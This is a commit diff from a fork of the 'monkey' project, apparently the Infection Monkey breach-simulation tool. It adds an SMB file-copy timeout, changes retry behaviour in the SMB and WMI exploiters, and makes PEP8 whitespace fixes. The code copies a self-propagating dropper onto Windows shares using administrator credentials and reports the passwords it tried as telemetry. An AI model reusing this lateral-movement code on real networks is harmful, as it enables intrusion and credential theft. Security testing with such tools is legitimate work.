forked from p34709852/monkey
PEP8 in diff files
Add concept of non default timeout for copying SMB files. This is by default 5 minutes. Changed behavior of SMB exploiter if file already exists, we don't assume exploitation is useless and try again. Worse case is we run the monkey after it finished running. Changed behavior if managed to connect to machine to IPC$ over some dialect. If Success, we don't try again.
This commit is contained in:
parent
5ae67840a6
commit
32c326bd7b
|
@ -206,6 +206,9 @@ class Configuration(object):
|
||||||
# rdp exploiter
|
# rdp exploiter
|
||||||
rdp_use_vbs_download = True
|
rdp_use_vbs_download = True
|
||||||
|
|
||||||
|
# smb/wmi exploiter
|
||||||
|
smb_download_timeout = 300 # timeout in seconds
|
||||||
|
|
||||||
# system info collection
|
# system info collection
|
||||||
collect_system_info = True
|
collect_system_info = True
|
||||||
|
|
||||||
|
|
|
@ -65,6 +65,7 @@
|
||||||
"psexec_user": "Administrator",
|
"psexec_user": "Administrator",
|
||||||
"range_size": 30,
|
"range_size": 30,
|
||||||
"rdp_use_vbs_download": true,
|
"rdp_use_vbs_download": true,
|
||||||
|
"smb_download_timeout": 300,
|
||||||
"retry_failed_explotation": true,
|
"retry_failed_explotation": true,
|
||||||
"scanner_class": "TcpScanner",
|
"scanner_class": "TcpScanner",
|
||||||
"self_delete_in_cleanup": true,
|
"self_delete_in_cleanup": true,
|
||||||
|
|
|
@ -2,6 +2,7 @@ from abc import ABCMeta, abstractmethod
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
||||||
class HostExploiter(object):
|
class HostExploiter(object):
|
||||||
__metaclass__ = ABCMeta
|
__metaclass__ = ABCMeta
|
||||||
_target_os_type = []
|
_target_os_type = []
|
||||||
|
|
|
@ -79,7 +79,8 @@ class SmbExploiter(HostExploiter):
|
||||||
self._config.psexec_user,
|
self._config.psexec_user,
|
||||||
password,
|
password,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path)
|
self._config.dropper_target_path,
|
||||||
|
self._config.smb_download_timeout)
|
||||||
|
|
||||||
if remote_full_path is not None:
|
if remote_full_path is not None:
|
||||||
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
||||||
|
@ -131,6 +132,7 @@ class SmbExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
smb_conn = rpctransport.get_smb_connection()
|
smb_conn = rpctransport.get_smb_connection()
|
||||||
|
break
|
||||||
|
|
||||||
# We don't wanna deal with timeouts from now on.
|
# We don't wanna deal with timeouts from now on.
|
||||||
smb_conn.setTimeout(100000)
|
smb_conn.setTimeout(100000)
|
||||||
|
|
|
@ -22,6 +22,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||||
class DceRpcException(Exception):
|
class DceRpcException(Exception):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
@ -111,7 +112,6 @@ class WmiTools(object):
|
||||||
DCOMConnection.PINGTIMER.join()
|
DCOMConnection.PINGTIMER.join()
|
||||||
DCOMConnection.PINGTIMER = None
|
DCOMConnection.PINGTIMER = None
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_object(wmi_connection, object_name):
|
def get_object(wmi_connection, object_name):
|
||||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||||
|
@ -132,7 +132,7 @@ class WmiTools(object):
|
||||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||||
|
|
||||||
if where:
|
if where:
|
||||||
wql_query += " WHERE %s" % (where, )
|
wql_query += " WHERE %s" % (where,)
|
||||||
|
|
||||||
LOG.debug("Execution WQL query: %r", wql_query)
|
LOG.debug("Execution WQL query: %r", wql_query)
|
||||||
|
|
||||||
|
@ -166,13 +166,13 @@ class WmiTools(object):
|
||||||
|
|
||||||
class SmbTools(object):
|
class SmbTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def copy_file(host, username, password, src_path, dst_path):
|
def copy_file(host, username, password, src_path, dst_path, timeout=60):
|
||||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path, )
|
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||||
|
|
||||||
config = __import__('config').WormConfiguration
|
config = __import__('config').WormConfiguration
|
||||||
src_file_size = monkeyfs.getsize(src_path)
|
src_file_size = monkeyfs.getsize(src_path)
|
||||||
|
|
||||||
smb, dialect = SmbTools.new_smb_connection(host, username, password)
|
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
|
||||||
if not smb:
|
if not smb:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@ -183,7 +183,8 @@ class SmbTools(object):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb.logoff()
|
smb.logoff()
|
||||||
except: pass
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@ -236,9 +237,9 @@ class SmbTools(object):
|
||||||
'share_path': share_path}
|
'share_path': share_path}
|
||||||
|
|
||||||
if dst_path.lower().startswith(share_path.lower()):
|
if dst_path.lower().startswith(share_path.lower()):
|
||||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info), )
|
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||||
|
|
||||||
low_priority_shares += ((ntpath.sep + file_name, share_info), )
|
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||||
|
|
||||||
shares = high_priority_shares + low_priority_shares
|
shares = high_priority_shares + low_priority_shares
|
||||||
|
|
||||||
|
@ -248,7 +249,7 @@ class SmbTools(object):
|
||||||
share_path = share['share_path']
|
share_path = share['share_path']
|
||||||
|
|
||||||
if not smb:
|
if not smb:
|
||||||
smb, _ = SmbTools.new_smb_connection(host, username, password)
|
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
|
||||||
if not smb:
|
if not smb:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@ -271,7 +272,7 @@ class SmbTools(object):
|
||||||
if file_info:
|
if file_info:
|
||||||
if src_file_size == file_info[0].get_filesize():
|
if src_file_size == file_info[0].get_filesize():
|
||||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||||
return None
|
return remote_full_path
|
||||||
|
|
||||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||||
except:
|
except:
|
||||||
|
@ -279,6 +280,8 @@ class SmbTools(object):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||||
|
# make sure of the timeout
|
||||||
|
smb.setTimeout(timeout)
|
||||||
smb.putFile(share_name, remote_path, source_file.read)
|
smb.putFile(share_name, remote_path, source_file.read)
|
||||||
|
|
||||||
file_uploaded = True
|
file_uploaded = True
|
||||||
|
@ -308,7 +311,7 @@ class SmbTools(object):
|
||||||
return remote_full_path
|
return remote_full_path
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def new_smb_connection(host, username, password):
|
def new_smb_connection(host, username, password, timeout=60):
|
||||||
try:
|
try:
|
||||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||||
except Exception, exc:
|
except Exception, exc:
|
||||||
|
@ -334,6 +337,7 @@ class SmbTools(object):
|
||||||
host, username, password, exc)
|
host, username, password, exc)
|
||||||
return None, dialect
|
return None, dialect
|
||||||
|
|
||||||
|
smb.setTimeout(timeout)
|
||||||
return smb, dialect
|
return smb, dialect
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -341,7 +345,7 @@ class SmbTools(object):
|
||||||
dce = SmbTools.get_dce_bind(smb)
|
dce = SmbTools.get_dce_bind(smb)
|
||||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||||
if not rpc_method_wrapper:
|
if not rpc_method_wrapper:
|
||||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper, ))
|
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||||
|
|
||||||
return rpc_method_wrapper(dce, *args)
|
return rpc_method_wrapper(dce, *args)
|
||||||
|
|
||||||
|
@ -396,7 +400,7 @@ def get_target_monkey(host):
|
||||||
if not monkey_path:
|
if not monkey_path:
|
||||||
if host.os.get('type') == platform.system().lower():
|
if host.os.get('type') == platform.system().lower():
|
||||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||||
if (not host.os.get('machine') and sys.maxsize < 2**32) or \
|
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||||
monkey_path = sys.executable
|
monkey_path = sys.executable
|
||||||
|
|
||||||
|
@ -425,5 +429,4 @@ def report_failed_login(exploiter, machine, user, password):
|
||||||
from control import ControlClient
|
from control import ControlClient
|
||||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||||
'exploiter': exploiter.__class__.__name__,
|
'exploiter': exploiter.__class__.__name__,
|
||||||
'user':user,'password':password})
|
'user': user, 'password': password})
|
||||||
|
|
||||||
|
|
|
@ -81,7 +81,8 @@ class WmiExploiter(HostExploiter):
|
||||||
self._config.psexec_user,
|
self._config.psexec_user,
|
||||||
password,
|
password,
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path)
|
self._config.dropper_target_path,
|
||||||
|
self._config.smb_download_timeout)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
wmi_connection.close()
|
wmi_connection.close()
|
||||||
|
|
Loading…
Reference in New Issue